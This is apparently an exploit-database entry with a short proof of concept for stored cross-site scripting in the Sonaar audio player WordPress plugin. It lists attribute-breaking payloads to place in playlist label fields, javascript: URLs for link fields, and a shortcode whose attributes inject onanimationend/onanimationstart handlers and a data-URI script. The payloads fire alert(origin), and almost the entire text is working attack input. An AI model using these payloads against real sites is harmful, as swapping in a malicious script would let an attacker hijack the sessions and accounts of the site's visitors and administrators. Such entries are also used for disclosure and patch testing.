## https://sploitus.com/exploit?id=WPEX-ID:D79D2F6A-257A-4C9E-B971-9837ABD4211C
1) Add playlist with "Optional Call to Action"'s "Label" set to:
" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//
2) Set "Optional Call to Action" and "External Links Button"'s "Link URL" to:
javascript:alert(origin)
3) Post this shortcode:
[sonaar_audioplayer play-latest="a" scrollbar='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(1+origin)//' playlist_title='" style="animation-name:twentytwentyone-close-button-transition" onanimationstart="alert(2+origin)//' titletag_playlist='script src="data:text/javascript,alert(3+origin)" ']